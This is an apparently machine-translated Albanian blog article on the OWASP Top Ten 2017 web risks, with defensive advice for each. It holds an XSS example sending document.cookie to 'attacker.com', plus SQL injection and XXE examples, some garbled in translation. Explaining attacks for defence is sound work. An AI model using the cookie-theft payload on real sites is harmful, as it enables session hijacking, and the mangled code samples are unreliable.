10 sulmet kryesore në internet: Hapat e parë për të mbrojtur faqen tuaj të internetit


Një statistikë e zakonshme që shpesh ndahet nga profesionistët e InfoSec është “78% e sulmeve janë kundër aplikimit”.

Asnjë javë nuk kalon pa dëgjuar një shkelje tjetër tjetër ose cenueshmëri, duke prekur miliona përdorues në të gjitha industritë. Nëse ai numër është i saktë apo nëse në të vërtetë është vetëm 74% (ose ka më shumë të ngjarë më afër 85%), një gjë është e qartë: faqet e internetit tona janë në rrezik, dhe nëse e juaja nuk është sulmuar akoma është vetëm çështje kohe dhe parash (dhe motivimi i sulmuesit).

Një aspekt interesant që shumë nga këto sulme kanë të përbashkët është ai ato nuk janë shumë teknike dhe të arritshme vetëm nga ekipet e avancuara të hakerave të ulur në bodrumin e NSA. Burimi më i zakonshëm i këtyre sulmeve është një grup i njohur si “kiddies skript”, të rinj të pa trajnuar që thjesht shkarkojnë mjete të automatizuara nga interneti dhe përpiqen të thyejnë çdo vend të rastit që ofron lehtësisht dobësi të ulëta të shfrytëzueshme. Edhe kriminelët më të aftë në internet fillojnë përpjekjet e tyre të para duke përdorur të njëjtat mjete mjetesh (ose versione pak më të avancuara të tyre).

Pse duhet të kujdesemi? sepse kjo do të thotë që sulmet më të zakonshme dhe dobësitë që shfrytëzohen më shpesh, do të jenë gjithnjë zinxhiri i parë dhe më i dobët në mbrojtjen tonë.

Si pasojë, kjo duhet të jetë gjithashtu pika në të cilën përqendrohemi përpjekjet tona fillestare në mbrojtjen e asaj mbrojtjeje. Për fat të mirë, ndodh që të jetë vendi më i lehtë për të provuar dhe siguruar të paktën një nivel minimal të sigurisë.

Këto dobësi të zakonshme janë grumbulluar në një listë “Top Ten” nga vullnetarët miqësorë në OWASP – Projekti i Sigurimit të Aplikimit të Hapur në Internet, një organizatë bamirëse mbarëbotërore jo-fitimprurëse e përqendruar në përmirësimin e sigurisë së softuerit.

Ndërsa kjo listë e Top Ten nuk është me të vërtetë një “listë kontrolli”, shpesh është grupi i parë i dobësive që sulmuesit do të përpiqen. Në të njëjtën mënyrë, ka një bollëk të mjeteve të automatizuara që do të skanojnë faqen tuaj të internetit në shërbim të sulmuesve, duke i lejuar ata të zbulojnë shpejt gabimet kritike që do t’u japin atyre qasje në gjërat e vlefshme tuaj.

Këtu janë 10 Rreziqet e Sigurisë së Aplikimit të OWASP-së, botimi 2017:

1. injeksion

Një sulmues mund të jetë në gjendje të manipulojë aplikacionin tuaj në internet në ndryshimin e komandave të paraqitura në nënsistemet e tij, thjesht duke dërguar kërkesa të keqformuara me ngarkesa të njollosura. Më i njohuri nga këto sulme është SQL Injection, ku një përdorues i faqes tuaj të internetit mund të bëjë që aplikacioni juaj të ndryshojë këtë:

zgjidhni * nga përdoruesit ku emri i përdoruesit = “AviD” dhe fjalëkalimi = “1234”
në këtë:
zgjidhni * nga përdoruesit ku emri i përdoruesit = “Administratori”

Kjo lejon që sulmuesi të identifikohet në aplikacionin tuaj si administrator, pa e ditur as fjalëkalimin. Përdorime të tjera të këtij sulmi do të ishin vjedhja e sekreteve (ose paratë), ndryshimi i të dhënave, apo edhe fshirja e të gjitha gjurmëve të veprimtarisë.

Forma të tjera përfshijnë LDAP Injection, XPath Injection, Command Injection, SMTP Injection – sa herë që aplikacioni bashkon hyrjen e pabesueshme të përdoruesit në një komandë që i kalohet një përkthyesi. Të dhënat jonormale mund ta mashtrojnë interpretuesin në ekzekutimin e komandave të paqëllimshme ose të arrijë në të dhëna pa autorizimin e duhur.

Këto sulme zakonisht mund të jenë parandalohet mjaft lehtë duke ndjekur disa parime:

  • Vlerësoni të gjitha hyrjet jo të besueshme me një qasje të listës së bardhë, pavarësisht nga burimi.
  • Gjithmonë hyrni në bazën e të dhënave vetëm me pyetje të parameteruara dhe vetëm me procedura të ruajtura, në vend që të lidhni një pyetje të telit.
  • Edhe më mirë, përdorni një bibliotekë të përshtatshme ORM (Objektivi i Hartimit Relacional) (të tilla si Hibernate, Entity Framework, ActiveRecord për të përmendur disa, në varësi të platformës tuaj).
  • Kufizoni dëmin e mundshëm të një shfrytëzimi të suksesshëm duke zvogëluar privilegjet e bazës së të dhënave të aplikacionit.

2. Autentifikimi i thyer

Shumica e aplikacioneve kërkojnë që përdoruesit e tyre të identifikohen para se ta përdorin atë, shpesh me një kombinim emri / fjalëkalimi. Ekzistojnë shumë lloje të metave të zakonshme me këtë sistem të autentifikimit, të cilat mund të shfrytëzohen në mënyra të ndryshme: sulme fjalori, forcë brutale e automatizuar, mbushje kredenciale, rrëmbim sesionesh dhe më shumë.

Një sulmues që arrin të mendojë një fjalëkalim të vlefshëm do të jetë në gjendje të falsifikojë atë përdorues dhe të kryejë çdo veprim që viktima e tyre do të mund të bënte – pa qenë në gjendje të bëhet dallimi midis sulmuesit dhe viktimës.

Parandalimi i kësaj kërkon një qasje shumë-shtresore:

  • Ndryshoni të gjitha fjalëkalimet e paracaktuar.
  • Zbatoni fjalëkalime të forta, të rastit, për të gjithë përdoruesit: të paktën 12 karaktere të rastit, pa asnjë kufizim, mundësisht të ruajtur në një menaxher të fjalëkalimeve; ose përndryshe, një frazë me të paktën 5 fjalë të rastit.
  • Kufizoni përpjekjet e hyrjes, duke mbyllur llogarinë e përdoruesit për një periudhë kohe pas një numri të caktuar të fjalëkalimeve të gabuara.
  • Përdorni një menaxher të sigurt të sesioneve të platformës, i cili gjeneron në mënyrë të rastësishme identifikues të seancave të gjata dhe zbaton një cikël jetësor të sigurt të sesionit.
  • Mbroni fjalëkalimet me një algoritëm kriptografik “hash fjalëkalimi”, të tilla si Bcrypt, scrypt ose Argon2.

Gjithashtu, konsideroni zbatimin e vërtetimit shumë-faktor për të lehtësuar sulmet e bazuara në fjalëkalim, dhe mos lejoni që një sulmues të anashkalojë fjalëkalimin tuaj duke ditur emrin e mace tuaj në faqen “Harruat fjalëkalimin”. Ka disa detaje shtesë që mund të jenë relevante, në varësi të arkitekturës dhe kontekstit tuaj specifik.

3. Ekspozimi i ndjeshëm i të dhënave

sekret të dhënat zakonisht duhet të mbrohen me kriptim dhe algoritme të tjera kriptografike. Sidoqoftë, kjo është zbatuar shpesh, nëse fare, në një mënyrë jo të plotë, duke lejuar sulmuesit të rrëmbejnë informacione të ndjeshme që nuk duhet të jenë në gjendje, duke përfshirë fjalëkalimet, kartat e kreditit, informacionin personal (PII) dhe të dhëna të tjera kritike të biznesit..

Disa të meta të zakonshme përfshijnë mos shifrimin e të dhënave; krijimin e një skeme të kriptimit me porosi në vend të algoritmeve standarde dhe protokolleve; duke përdorur çelësa të dobët; ekspozimi i çelësave të enkriptimit; dhe mos implementimi i protokolleve siç duhet, p.sh. duke mos vërtetuar një certifikatë TLS.

Përdorimi i kontrolleve të duhura kriptografike (të tilla si kriptimi AES për të dhënat e ruajtura dhe TLS me HSTS të aktivizuar për trafik), me parametrat e saktë, duhet të mbrojë të dhënat tuaja të ndjeshme si në pushim, ashtu edhe në tranzit.

4. Subjektet e jashtme XML (XXE)

Shpesh, aplikacionet duhet të marrin dhe përpunojnë dokumente XML nga përdoruesit. Parsers XML të vjetëruar ose dobët të konfiguruar mund të lejojnë një tipar XML të njohur si referenca të entitetit të jashtëm brenda dokumenteve XML, të cilat kur vlerësohet do të ngërthen përmbajtjen e një skedari tjetër. Sulmuesit mund të abuzojnë me këtë lexoni të dhëna konfidenciale, hyrni në sistemet e brendshme dhe madje mbyllni aplikacionin në një sulm të Mohimit të Shërbimit (DoS).

Për shembull, një dokument XML që përmban këtë:

]>&xxe;

do të përfshinte përmbajtjen e skedarit të fjalëkalimit brenda dokumentit XML.

Kjo mund të parandalohet thjesht duke çaktivizuar vlerësimin e DTD-së dhe entitetit të jashtëm në analizues, ose duke u përmirësuar në një bibliotekë moderne parser që nuk është e ndjeshme.

5. Kontrolli i Qasjes së Thyer

Shumica e aplikacioneve në internet kufizojnë atë që përdoruesit mund të shohin ose bëjnë, nëse ajo është duke hyrë në të dhënat personale të një përdoruesi tjetër ose në një zonë të kufizuar.

Sidoqoftë, mekanizmat e kontrollit të qasjes që zbatojnë këto kufij zakonisht janë zbatime të menjëhershme dhe shpesh janë me defekt të thellë. Sulmuesit mund të anashkalojnë këto kontrolle ose t’i abuzojnë ata për të hyrë në funksione ose të dhëna të paautorizuara, të tilla si qasja në llogaritë e përdoruesve të tjerë, shikoni skedarë të ndjeshëm, modifikoni të dhënat e përdoruesve të tjerë, kryeni veprime administrative dhe më shumë.

Fiksimi dhe parandalimi i defekteve të kontrollit të hyrjes kërkon një pamje sistemike. Ashtë e nevojshme një përmbledhje e plotë, e thelluar e të gjitha tipareve të aplikacionit, kërkesave të sistemit, roleve të përdoruesve dhe kufizimeve të tjera. Ekzistojnë modele të ndryshme të zakonshme që mund të zbatohen, në varësi të kërkesave. Më të zakonshmet përfshijnë Kontrollin e Qasjes Bazuar në Rol (RBAC), Kontrollin Diskretues të Qasjes (DAC), dhe Kontrollin e Bazuar në Integritetin ose Qasjen e Detyrueshme (MAC).

Modele të tjera më të ngrohta mund të bazohen në Atributet (ABAC), Politikën (PBAC), Kontekstin (CBAC) dhe klasifikimin (ekzistojnë disa modele, veçanërisht në DoD), si dhe në skema të ndryshme të personalizuara. Shtë e rëndësishme të hartoni mirë modelin e kontrollit të qasjes, në mënyrë që të mund të aplikohet në mënyrë uniforme dhe të administrohet me efikasitet. Filloni nga parimi i privilegjit më të vogël dhe autorizoni vetëm aty ku është e nevojshme.

Për më tepër, shumë sisteme duhet të marrin në konsideratë aplikimin e kontrolleve për qasjen në të dhënat personale të përdoruesve nga një perspektivë e privatësisë. Becomingshtë duke u bërë edhe më e rëndësishme për të ruajtur në mënyrë të duhur privatësinë e përdoruesve dhe për të parandaluar hyrjen pa pëlqim, veçanërisht në dritën e azhurnimit të GDPR të BE-së.

6. Konfigurimi i gabuar i sigurisë

Serverat dhe aplikacionet kanë shumë pjesë lëvizëse që të gjithë duhet të konfigurohen siç duhet. Kjo vlen në të gjitha nivelet e rafte të aplikacionit, nga sistemi operativ dhe pajisjet e rrjetit deri në serverin në internet dhe vetë aplikacionin.

Konfigurimet e paracaktuar, jo të plota ose ad hoc mund të lënë skedarë të pambrojtur, aktivizohen fjalëkalimet e paracaktuara, shërbimet cloud janë hapur, dhe lëshojnë informacione të ndjeshme përmes mesazheve të gabimit ose headers HTTP, si dhe shumë cilësime të tjera të pasigurta që mund të lejojnë një sulmues të fitojë qasje në sistem ose të dhëna.

Sigurisht, nuk ka asnjë mjedis të vetëm që mund të parandalojë këtë ndjeshmëri. Të gjitha cilësimet potencialisht të ndjeshme duhet të rishikohen. Vini re se kjo gjithashtu përfshin azhurnime në kohë të sistemit dhe arna!

7. Skriptimi ndër-faqesh (XSS)

Duke përdorur XSS, një sulmues mund të modifikojë faqet e internetit që përdoruesit e tjerë shohin në aplikacionin tuaj, nëse kjo është për të vjedhur informacione të tilla si fjalëkalimet dhe kartat e kreditit, përhapja e të dhënave fals, seancat e përdoruesve të rrëmbimit, ridrejtimi në një sit tjetër ose ekzekutimi i skripteteve me qëllim të keq në shfletuesin e viktimës.

Kjo dobësi mund të ndodhë sa herë që të dhëna të pabesueshme përfshihen në një faqe në internet ose përgjigje, pa vërtetim ose kanalizim të duhur. Sulmuesi mund të paraqesë forma me fragmente HTML ose JavaScript, të cilat do të futen direkt në faqe dhe do të jepen nga shfletuesi..

Për shembull, ky kod serveri:

përgjigje.write (“Mirëmëngjes” + kërkesë.getParametri (“Emri”));

ngul parametrin Emri i përdoruesit direkt në dalje. Kjo ka për qëllim të kthejë faqen në vijim, nëse emri i përdoruesit është “John”:

Mirëmëngjes, Gjon

Në vend të kësaj, një sulmues mund të injektojë një ngarkesë të keqe:

Mirëmëngjes, Bossdocument.location = ‘http: //attacker.com/? Cookie =’ + dokument.cookie

i cili do të ekzekutohet nga shfletuesi i përdoruesit, dërgimin e cookie-t të seancës së tyre te sulmuesi dhe lejimin e sulmuesit të rrëmbente seancën.

Mbrojtja kryesore kundër sulmeve XSS është përdorimi i kodimit të duhur. Për shembull, kodimi HTML do t’i shndërrojë të gjitha karakteret “speciale” në njësi HTML, në mënyrë që ato të shfaqen njësoj tek përdoruesi, por nuk njihen nga analisti si etiketa HTML të vlefshme. Sidoqoftë, ekzistojnë forma të tjera të kodimit që duhet të përdoren në varësi të kontekstit specifik të prodhimit të të dhënave – p.sh. Kodimi i atributeve, kodimi i JavaScript, kodimi CSS, etj. Shumica e platformave moderne të internetit ofrojnë këtë funksionalitet automatikisht ose si një thirrje funksioni, dhe ka shumë biblioteka të sigurisë për ato që nuk.

Përveç kësaj, është një ide e mirë për të zbatuar Politikën e Sigurisë së Përmbajtjes (CSP), për të parandaluar shfletuesin nga dhënia e një sulmi XSS që përshkoi. Gjithashtu, konfiguroni cookies-in tuaj të sesionit (qoftë në kodin tuaj të aplikacionit ose në konfigurimin e serverit në internet) për të përfshirë atributin HttpOnly, për të parandaluar shfrytëzimet e suksesshme të XSS nga rrëmbimi i seancave të përdoruesve tuaj.

8. Deserializimi i pasigurt

Shtesa më e re e kësaj liste, Deserializimi i pasigurt mund të lejojë sulmet me injeksion dhe përshkallëzimin e privilegjit, dhe madje të çojë në ekzekutimin e kodit në distancë dhe marrjen e serverit në situata të caktuara.

Shumë aplikacione duhet të serializojnë objektet dhe të dhënat në një format që mund të transmetohet lehtësisht nëpër tel, ose edhe të vazhdojë në një skedar. Kur një aplikacion i rikthen këto objekte përsëri në memorje duke deserializuar të dhënat e formatuara të marra nga një përdorues, mund të jetë e mundur të shkelni kujtesën e objektit, dhe madje edhe të shkaktoni që ai të ekzekutojë funksione arbitrare.

Mënyra më e mirë për të shmangur Deserializimin e pasigurt është të kurrë mos deserializoni objektet nga të dhëna jo të besueshme fare! Shtë shumë më mirë të shmangni formatet vendase të deserializimit, aty ku është e mundur, duke preferuar një format të dhënash si XML ose JSON.

Nëse është e nevojshme të deserializoheni nga formati amtare, të qenit në gjendje ta bëni atë në mënyrë të sigurt kërkon të kuptuarit e brendshëm të gjuhës suaj programuese. Ka hapa të ndryshëm që kërkohen për ta bërë këtë në mënyrë të sigurt, në varësi të cilës gjuhë u zhvillua aplikacioni juaj. Për shembull, në Java mund të nënklasifikoni klasën java.io.ObjectInputStream. Për më tepër, rekomandohet të deserializoheni vetëm nga të dhënat që aplikacioni juaj nënshkroi në mënyrë dixhitale.

9. Përdorimi i përbërësve me cenueshmëri të njohur

Softueri modern nuk është i ndërtuar më si një monolit – ai gjithmonë mbështetet në një numër gjithnjë e më të madh të komponentëve, kornizave dhe bibliotekave me burim të hapur. Anydo dobësi e njohur që gjendet në këto varësi mund të ndikojë drejtpërdrejt edhe në aplikacionin tuaj! Ndonjehere kjo do të çojë në dobësi të tjera në këtë listë, siç është injeksioni, ekzekutimi i kodit në distancë ose ndonjë difekt tjetër që mund të lejojë sulmuesit të hyjnë në të dhëna ose veprime të ndjeshme.

Kohët e fundit, vetëm një çështje e tillë u fajësua për shkeljen masive të Equifax, ku ata nuk instaluan një copë toke për Apache Struts2. Në vend të kësaj, ata mbetën në një version i cili dihej se lejonte sulmuesit e largët të ekzekutonin komanda arbitrare.

Mënyra më e mirë për të shmangur rënien në këtë kurth është të rishikoni të gjithë vartësit tuaj(përfshirë varësitë kalimtare), dhe kontrolloni për të parë nëse ndonjë prej tyre është aktualisht i prekshëm. Zbatoni një proces për të siguruar që aplikacioni juaj tërheq gjithnjë versionet më të fundit të qëndrueshme të të gjitha bibliotekave dhe përbërësve të varur pas provës së tyre. Në fakt, aktualisht ekzistojnë mjete të shumta tregtare që mund ta gjurmojnë këtë për ekipin tuaj, si dhe kontrollin falas të varësisë të OWASP.

10. Regjistrimi i pamjaftueshëm & Monitorimi

Ndërsa ne përpiqemi t’i bëjmë sistemet tona imune ndaj të gjitha sulmeve të mundshme, në mënyrë realiste duhet të pranojmë që disa sulme do të vijnë përmes mbrojtjes sonë. Sidoqoftë, një mbrojtje elastike duhet të përfshijë disa shtresa. Kjo përfshin mundësinë e zbulimit të atyre sulmeve që patën sukses pavarësisht nga të gjitha përpjekjet tona, mundësisht sa më shpejt që të jetë e mundur.

Kjo akoma mund të lejojë që një organizatë të shërohet nga sulmi, apo edhe të minimizojë dëmet sa më shumë që të jetë e mundur. Një mekanizëm prerjeje dhe monitorimi, e kombinuar me përgjigje efektive të incidentit, mund të parandalojë sulmuesit nga drejtimi tek burimet shtesë të brendshme, duke e futur veten përgjithmonë në organizatë dhe i pengon ata të vjedhin ose ndryshojnë edhe më shumë të dhëna.

Implementimi i një mekanizmi të përbashkët prerjeje për tërë aplikacionin. Shtë më mirë të përdorni një bibliotekë ekzistuese, siç është log4J, por nuk kërkohet. Mekanizmi log duhet të mbledhë të gjitha veprimet e iniciuara nga përdoruesi, gabimet e ekzekutimit dhe çdo ngjarje tjetër të ndjeshme. Sigurohuni që të dhënat e logave janë të mbrojtura mirë dhe mos harroni të pajisni administratorët një ndërfaqe kërkimi dhe rishikimi!

Lajmi i mirë është se shumica e këtyre janë probleme relativisht të thjeshta, dhe të lehta për tu parandaluar nëse dini se çfarë të kërkoni. Prandaj, megjithëse kjo nuk është një listë gjithëpërfshirëse për të gjitha çështjet e sigurisë që duhet t’i kushtoni vëmendje, është padyshim një nga vendet më të mira për të filluar ekspeditën tuaj në një uebfaqe të mbrojtur!

Kim Martin Administrator
Sorry! The Author has not filled his profile.
follow me
    Like this post? Please share to your friends:
    Adblock
    detector
    map